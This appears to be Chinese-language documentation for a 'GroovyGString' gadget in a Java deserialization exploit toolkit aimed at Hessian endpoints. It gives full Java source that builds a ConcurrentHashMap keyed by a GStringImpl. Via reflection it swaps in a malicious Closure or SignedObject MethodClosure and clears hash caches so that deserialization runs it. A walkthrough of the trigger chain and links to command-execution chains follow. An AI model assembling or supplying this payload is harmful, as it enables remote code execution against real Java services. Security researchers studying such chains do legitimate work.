- 类别:hessian 别名:— 优先级:—
- 作者:—
- 依赖:
org.codehaus.groovy:groovy
构造一个以 GStringImpl 为 key 的 ConcurrentHashMap,GStringImpl.values 中埋入一个 Closure(或包装 SignedObject 的 MethodClosure)。当 Hessian/原生反序列化重建 ConcurrentHashMap 时,对 key 计算 hashCode 会强制 GStringImpl 重新求值 toString(),进而执行 values 里的 Closure,把控制权交给下游 Groovy 闭包链或二次反序列化链。
- 入口
tags:HessianDeserialize—— 承接 Hessian 反序列化入口。 - 衔接
nextTags:ClosureWithRuntimeChain(下游给一个可执行命令的 GroovyClosure)、SignedObjectChain(下游给一个SignedObject,通过getObject触发二次反序列化)。 excludes:无。
public Object getObject(Object nextObj) throws Exception {
Object closureAction;
if (nextObj instanceof Closure) {
closureAction = nextObj; // 下游直接给 Closure
} else if (nextObj instanceof SignedObject) {
closureAction = new MethodClosure(nextObj, "getObject"); // 下游给 SignedObject → 包成调用 getObject 的 MethodClosure
} else {
String type = nextObj == null ? "null" : nextObj.getClass().getName();
ThrowsUtil.throwGadgetException("GroovyGString requires Closure or SignedObject, got: " + type);
return null;
}
if (closureAction instanceof Closure) {
GroovyGString.normalizeClosure((Closure)closureAction); // 抹平参数元数据,保证可无参调用
}
GStringImpl gString = Reflections.createWithoutConstructor(GStringImpl.class);
String[] strings = new String[]{"", ""};
Reflections.setFieldValue(gString, "strings", strings); // GString 需要 strings.length == values.length+1
Object[] dummyValues = new Object[]{new Object()};
Reflections.setFieldValue(gString, "values", dummyValues);
ConcurrentHashMap<GStringImpl, String> map = new ConcurrentHashMap<>();
map.put(gString, "1"); // 先用无害 values 入 map,避免 put 阶段就触发
Object[] maliciousValues = new Object[]{closureAction};
Reflections.setFieldValue(gString, "values", maliciousValues); // 入 map 后再换成恶意 Closure
GroovyGString.resetGStringCache(gString); // 清 cachedString/string/value
GroovyGString.resetGStringHash(gString); // 清 hash/hashCode,逼迫重算
return map;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject(chain.doCreate(context));
}逐段解释:
- 两种下游形态:
Closure直接用;SignedObject则包成new MethodClosure(signedObject, "getObject")——反序列化触发时闭包会调用SignedObject.getObject(),从而在其内部再做一次原生反序列化(对接SignedObjectChain)。 normalizeClosure把maximumNumberOfParameters置 0、parameterTypes置空数组,确保GString求值时能以「零参」方式调用该Closure,不会因参数不匹配抛异常。- 先占位后替换的顺序很关键:
GStringImpl用createWithoutConstructor无构造实例化,先塞入无害dummyValues再map.put。因为ConcurrentHashMap.put也会算一次hashCode,若此时values已是恶意Closure,会在构造 payload 阶段就本地引爆。put 完成后才用反射把values换成maliciousValues。 resetGStringCache/resetGStringHash清空GStringImpl内部对toString、hashCode结果的缓存字段(cachedString/string/value/hash/hashCode)。这样反序列化后首次对 key 求hashCode时,缓存失效 → 触发GString.toString()重新拼接 → 遍历values→ 执行埋入的Closure。
触发链:ConcurrentHashMap.readObject(重建时 rehash)→ key.hashCode() → GStringImpl.hashCode()(缓存已清)→ GString.toString() 求值 values → Closure.call()。
无 @Param(params 为空)。行为完全由内层 Closure/SignedObject 决定。
- 依赖
org.codehaus.groovy:groovy,利用GStringImpl内部strings/values与缓存字段布局;不同 Groovy 版本字段名基本稳定,resetGStringCache/resetGStringHash用Reflections.has做存在性判断以兼容差异。 - 以
ConcurrentHashMap为触发容器,天然适配 Hessian(Hessian 反序列化 Map 会重建并 rehash),也可用于其它会调用 key.hashCode 的场景。 - 与经典
GroovyWithRef(走ConvertedClosure+TreeSet.compareTo)不同,本 gadget 走GString.toString,触发面更隐蔽。
自由构件,未直接出现在预设链(usedInChains 为空)。
- 下游(
nextTags):ClosureWithRuntimeChain类(如ClosureWithRuntime)提供命令执行闭包;SignedObjectChain(SignedObject)用于二次反序列化桥接。 - 同族:GroovyWithRef(frohoff 版 Groovy
ConvertedClosure+TreeSet触发)。